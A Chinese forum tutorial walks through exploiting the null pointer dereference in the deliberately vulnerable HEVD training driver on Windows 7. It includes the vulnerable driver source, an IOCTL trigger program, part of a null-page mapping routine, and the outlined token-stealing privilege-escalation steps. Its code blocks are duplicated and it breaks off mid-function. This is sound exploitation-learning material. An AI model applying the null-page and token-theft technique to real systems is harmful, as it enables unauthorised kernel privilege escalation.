首页
社区
课程
招聘
[原创]内核漏洞学习[5]-HEVD-NullPointerDereference
发表于: 2021-11-13 16:26 18786

[原创]内核漏洞学习[5]-HEVD-NullPointerDereference

2021-11-13 16:26
18786

# HEVD-NullPointerDereference

HEVD:漏洞靶场,包含各种Windows内核漏洞的驱动程序项目,在Github上就可以找到该项目,进行相关的学习

Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub

环境准备:

Windows 7 X86 sp1 虚拟机

使用VirtualKD和windbg双机调试

HEVD 3.0+KmdManager+DubugView

指针的三种错误使用

总结:

free(p)后:
p仍然指向那块地址,但是地址被释放,回归给系统,指针仍然可以使用,可以利用池喷射,去多次申请内昆空间,撞这个指针p指向的地址,改写这个地址内容,在调用p,执行自己写入的代码
p=NULL 后:
p 不指向任何内存地址,通常指向000 0页地址,通过ntallocvirtualmemory 申请0页地址空间。在0页地址写代码。 调用null指针,执行shellcode

使用ntallocvirtualmemory 函数申请内存:

NtAllocateVirtualMemory function (ntifs.h) - Windows drivers | Microsoft Docs

空指针漏洞

此类漏洞利用主要集中在两种方式上:

(1)分析漏洞点

UserValue = *(PULONG)UserBuffer;从用户模式获取value的值,如果uservalue=magicvalue的值,向缓冲区赋值,并打印信息,反之则释放缓冲区,清空指针( NullPointerDereference = NULL;),之后,对于安全版本,对NullPointerDereference进行检查判断其是否被置空,非安全版本,未对NullPointerDereference进行检查判断,直接调用callback,

HEVD_IOCTL_NULL_POINTER_DEREFERENCE控制码对应的派遣函数NullPointerDereferenceIoctlHandler case

NullPointerDereferenceIoctlHandler函数调用TriggerNullPointerDereference触发漏洞

(1)测试

当我们传入值与MagicValue值不匹配时,则会触发漏洞

在这里插入图片描述

因为uservalue=0xBAD0B0B0,所以打印出信息,

在这里插入图片描述

(2)漏洞利用

官方给出的方法也是利用NtAllocateVirtualMemory函数,在0页申请内存,

该函数在指定进程的虚拟空间中申请一块内存,该块内存默认将以64kb大小对齐,所以SIZE_T RegionSize = 0x1000;

申请成功后,将shellcode地址放入偏移四字节处,因为CallBack成员在结构体的0x4字节处,使传入值与MagicValue值不匹配,触发漏洞

exp,可供参考

payload功能:遍历进程,得到系统进程的token,把当前进程的token替换,达到提权目的。

相关内核结构体:

在内核模式下,fs:[0]指向KPCR结构体

payload:注意堆栈平衡问题。。

运行exp提权成功:

在这里插入图片描述

流程总结:

申请0页内存

将payload放入内存任意位置

并在0x4地址放入payload地址

调用TriggerNullPointerDereference函数

提权启动cmd

 
 
 
 
 
NTSTATUS
TriggerNullPointerDereference(
    _In_ PVOID UserBuffer
)
{
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
 
    PAGED_CODE();
 
    __try
    {
        //
        // Verify if the buffer resides in user mode
        //
 
        ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR));
 
        //
        // Allocate Pool chunk
        //
 
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(
            NonPagedPool,
            sizeof(NULL_POINTER_DEREFERENCE),
            (ULONG)POOL_TAG
        );
 
        if (!NullPointerDereference)
        {
            //
            // Unable to allocate Pool chunk
            //
 
            DbgPrint("[-] Unable to allocate Pool chunk\n");
 
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else
        {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }
 
        //
        // Get the value from user mode
        //
 
        UserValue = *(PULONG)UserBuffer;
 
        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
 
        //
        // Validate the magic value
        //
 
        if (UserValue == MagicValue)
        {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
 
            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else
        {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
 
            //
            // Free the allocated Pool chunk
            //
 
            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
 
            //
            // Set to NULL to avoid dangling pointer
            //
 
            NullPointerDereference = NULL;
        }
 
#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        //
 
        if (NullPointerDereference)
        {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");
 
        //
        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        //
 
        NullPointerDereference->Callback();
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}
NTSTATUS
TriggerNullPointerDereference(
    _In_ PVOID UserBuffer
)
{
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
 
    PAGED_CODE();
 
    __try
    {
        //
        // Verify if the buffer resides in user mode
        //
 
        ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR));
 
        //
        // Allocate Pool chunk
        //
 
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(
            NonPagedPool,
            sizeof(NULL_POINTER_DEREFERENCE),
            (ULONG)POOL_TAG
        );
 
        if (!NullPointerDereference)
        {
            //
            // Unable to allocate Pool chunk
            //
 
            DbgPrint("[-] Unable to allocate Pool chunk\n");
 
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else
        {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }
 
        //
        // Get the value from user mode
        //
 
        UserValue = *(PULONG)UserBuffer;
 
        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
 
        //
        // Validate the magic value
        //
 
        if (UserValue == MagicValue)
        {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
 
            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else
        {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
 
            //
            // Free the allocated Pool chunk
            //
 
            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
 
            //
            // Set to NULL to avoid dangling pointer
            //
 
            NullPointerDereference = NULL;
        }
 
#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        //
 
        if (NullPointerDereference)
        {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");
 
        //
        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        //
 
        NullPointerDereference->Callback();
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}
HEVD_IOCTL_NULL_POINTER_DEREFERENCE:
DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");
Status = NullPointerDereferenceIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");
break;
HEVD_IOCTL_NULL_POINTER_DEREFERENCE:
DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");
Status = NullPointerDereferenceIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");
break;
NTSTATUS
NullPointerDereferenceIoctlHandler(
    _In_ PIRP Irp,
    _In_ PIO_STACK_LOCATION IrpSp
)
{
    PVOID UserBuffer = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
 
    UNREFERENCED_PARAMETER(Irp);
    PAGED_CODE();
 
    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
 
    if (UserBuffer)
    {
        Status = TriggerNullPointerDereference(UserBuffer);
    }
 
    return Status;
}
NTSTATUS
NullPointerDereferenceIoctlHandler(
    _In_ PIRP Irp,
    _In_ PIO_STACK_LOCATION IrpSp
)
{
    PVOID UserBuffer = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
 
    UNREFERENCED_PARAMETER(Irp);
    PAGED_CODE();
 
    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
 
    if (UserBuffer)
    {
        Status = TriggerNullPointerDereference(UserBuffer);
    }
 
    return Status;
}
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
 
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
int main()
 
{
 
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL
        );
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("[-]failed to get device handle !");
        return FALSE;
 
    }
    printf("[+]success to get device  handle");
 
    if (hDevice) {
 
        DWORD bReturn = 0;
        char buf[4] = { 0 };
        *(PDWORD32)(buf) = 0x12345678;
 
        DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &bReturn, NULL);
    }
 
 
 
}
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
 
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
int main()
 
{
 
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL
        );
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("[-]failed to get device handle !");
        return FALSE;
 
    }
    printf("[+]success to get device  handle");
 
    if (hDevice) {
 
        DWORD bReturn = 0;
        char buf[4] = { 0 };
        *(PDWORD32)(buf) = 0x12345678;
 
        DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &bReturn, NULL);
    }
 
 
 
}
 
 
 
 
 
 
BOOL MapNullPage() {
    HMODULE hNtdll;
    SIZE_T RegionSize = 0x1000;            // will be rounded up to the next host
                                           // page size address boundary -> 0x2000
PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host
                                       // page size address boundary -> 0x00000000
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
 
hNtdll = GetModuleHandle("ntdll.dll");
 
// Grab the address of NtAllocateVirtualMemory
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
 
if (!NtAllocateVirtualMemory) {
    DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
    exit(EXIT_FAILURE);
}
 
// Allocate the Virtual memory
NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
                                   &BaseAddress,
                                   0,
                                   &RegionSize,
                                   MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
                                   PAGE_EXECUTE_READWRITE);
 
if (NtStatus != STATUS_SUCCESS) {
    DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", NtStatus);
    exit(EXIT_FAILURE);
}
else {
    DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", BaseAddress);
    DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", RegionSize);
}
 
FreeLibrary(hNtdll);
 
return TRUE;
BOOL MapNullPage() {
    HMODULE hNtdll;
    SIZE_T RegionSize = 0x1000;            // will be rounded up to the next host
                                           // page size address boundary -> 0x2000
PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host
                                       // page size address boundary -> 0x00000000
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
 
hNtdll = GetModuleHandle("ntdll.dll");
 
// Grab the address of NtAllocateVirtualMemory
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
 
if (!NtAllocateVirtualMemory) {
    DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
    exit(EXIT_FAILURE);
}
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-11-13 19:44 被pyikaaaa编辑 ,原因:
收藏
免费 5
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//